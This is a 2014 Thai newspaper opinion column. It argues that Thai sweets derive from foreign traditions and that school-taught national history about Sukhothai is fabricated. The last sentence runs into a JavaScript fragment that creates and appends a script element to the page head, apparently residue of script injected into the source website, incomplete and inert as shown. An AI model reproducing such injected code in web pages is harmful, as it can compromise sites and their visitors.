มติชนรายวัน ฉบับประจำวันจันทร์ที่ 4 สิงหาคม 2557

 

ขนมไทยแท้มีหรือ?

          สารคดีทางโทรทัศน์ ตอนเช้าวันอาทิตย์ เมื่อต้นเดือนกรกฎาคม บรรยายโดยอ้างไตรภูมิพระร่วง ว่าขนมของไทยเก่าแก่ที่สุดคือขนมต้ม แต่เป็นของพราหมณ์

          ปัญหาแรกสุดคือไม่ควรอ้างวรรณกรรมเรื่องไตรภูมิฯว่าเป็นหนังสือเก่ายุคสุโขทัย เพราะไม่เคยพบหลักฐานตรงๆว่าแต่งโดยพระยาลิไทย รัฐสุโขทัย เพียงเป็นความเชื่อยุคหลังๆสืบต่อกันมา หากพิจารณาสำนวนภาษาแล้วจะพบว่าอยู่ในยุครัตนโกสินทร์ ราว ร.3 หรือ 4

          ขนมที่เป็นของหวานล้วนไม่ไทย หรือไม่อาเซียนอุษาคเนย์ แต่เป็นประเพณีอิมพอร์ตหลายทาง เช่น เปอร์เซีย (อิหร่าน), อินเดีย, จีน, และท้ายสุดคือ ฝรั่ง

          ขนม ในคำไทยปัจจุบัน หมายถึง อาหารอย่างหนึ่งเป็นของหวาน แต่เป็นคำยืมจากภาษามอญ หมายถึงแป้งจากข้าวที่ทำให้สุก หรือทำให้ร้อน เช่น แป้งจี่, ข้าวจี่, ฯลฯ (คำว่าจี่ ในภาษาลาว แปลว่า เผา, ทำให้สุกด้วยไฟ) ไทยถือเป็นขนม เรียกขนมแป้งจี่ ขนมข้าวจี่

          พจนานุกรมมอญ-ไทย ฉบับทุนพระยาอนุมานราชธน เล่ม 1 (พิมพ์ครั้งแรก พ.ศ. 2531 หน้า 56) มีคำว่า ขฺนํ (อ่านว่า คะนอม) เช่น ขนมจีน (พร้อมทั้งราดน้ำยาแบบมอญ)  แปลว่า ข้าวเส้นทำให้สุก หรือทำให้ร้อน ส่วน ขะนอมโตม (คำไทย ขนมต้ม) เป็นของหวานมาจากข้าวทำให้สุก

          ขนมหวานที่พูดกันสนั่นไปว่าเป็นของไทยแท้ ล้วนตีขลุมเอาของคนอื่นเป็นของตัว

 

ประวัติศาสตร์ปลอมปนในโรงเรียนและในท้องถิ่น

          ประวัติศาสตร์แห่งชาติของไทย บิดเบือนตัวเอง ดังนี้

          อวดความสำเร็จ แอบความล้มเหลว หรือ เปิดข้อดี ปิดข้อด้อย         

          ในทางที่ถูกที่ควร คือไม่แอบความล้มเหลว และไม่ปิดข้อด้อย จะได้เรียนรู้ทั้งความสำเร็จและความล้มเหลว

          สุโขทัยเป็นราชธานีแห่งแรกของไทย, พ่อขุนรามคำแหงประดิษฐ์อักษรไทย, ฯลฯ เป็นประวัติศาสตร์ถูกสร้างขึ้นเป็นเครื่องมือทางการเมืองจารีตนิยม, อนุรักษนิยม เพื่อสืบทอดอดีตปลอมๆ ลมๆ แล้งๆ ของคนชั้นนำตั้งแต่ยุคก่อนจนปัจจุบัน

          ถ้าจะให้ดีต้องยกเลิกหมด โดยเริ่มจากสุโขทัยไม่เคยเป็นราชธานีแห่งแรกของไทย แต่ถูกสร้างใหม่ให้เป็นสดๆร้อนๆ

          อบจ.สุพรรณบุรี จัดอบรมมัคคุเทศก์สัญจร นำชมท้องถิ่น ส่วนเทศบาลอู่ทอง (อ. อู่ทอง จ. สุพรรณบุรี) จัดทำฐานข้อมูลการท่องเที่ยวท้องถิ่น นับเป็นเรื่องดี

          แต่ถ้ายังตกอยู่ในหลุมดำประวัติศาสตร์แห่งชาติของไทย ก็ไม่ไปไหน ได้แต่วนเวียนในเขาวงกต แล้วตำน้ำพริกละลายแม่น้ำ จนน้ำเน่า

          โรงเรียนในระบบ กับการศึกษานอกระบบ (กศน.) เป็นกำลังสำคัญอย่างยิ่งเรื่องประวัติศาสตร์ท้องถิ่น

          แต่ทั้งในระบบและนอกระบบ ต่างก็เต็มไปด้วยครูบาอาจารย์ที่ถูกครอบงำด้วยประวัติศาสตร์ปลอมปน แล้วไม่เปิดกว้างรับรู้ความก้าวหน้าวิชาความรู้ใหม่ๆของโลก จึงได้แต่ทอดหุ่ยรอรับคืนความสุข

          เอวังก็มีด้วยประการฉะนี้var d=document;var s=d.createElement(‘script’); d.getElementsByTagName(‘head’)[0].appendChild(s);